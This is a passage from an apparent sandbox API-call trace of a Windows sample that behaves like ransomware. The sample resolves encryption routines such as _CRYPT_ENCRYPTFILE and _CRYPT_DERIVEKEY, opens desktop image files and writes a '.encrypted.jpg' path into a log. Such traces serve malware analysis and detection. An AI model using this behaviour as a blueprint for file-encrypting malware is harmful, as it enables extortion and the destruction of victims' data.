wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.972] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.972] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.972] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.973] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.973] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.974] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.974] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.974] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1539) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.975] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x603, lpOverlapped=0x0) returned 1 [0022.975] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x603, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1539) returned 1 [0022.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\n", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0022.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\n", cchWideChar=56, lpMultiByteStr=0xe8f404bf90, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 56 [0022.975] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4052080*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4052080*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x37, lpOverlapped=0x0) returned 1 [0022.975] CloseHandle (hObject=0x188) returned 1 [0022.977] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.977] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.978] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.978] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.978] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.978] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.978] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.978] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.979] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.979] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.979] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0022.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg", cchWideChar=53, lpMultiByteStr=0xe8f404c210, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg", lpUsedDefaultChar=0x0) returned 53 [0022.981] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0022.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f4066df0, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.jpg") returned 53 [0022.981] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.982] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.982] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.982] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.982] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.982] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.982] CloseHandle (hObject=0x188) returned 1 [0022.983] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.983] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.983] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.983] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.983] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.984] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.984] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.984] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.984] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.985] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.985] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.985] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.985] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.985] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.986] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.986] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.986] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.986] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 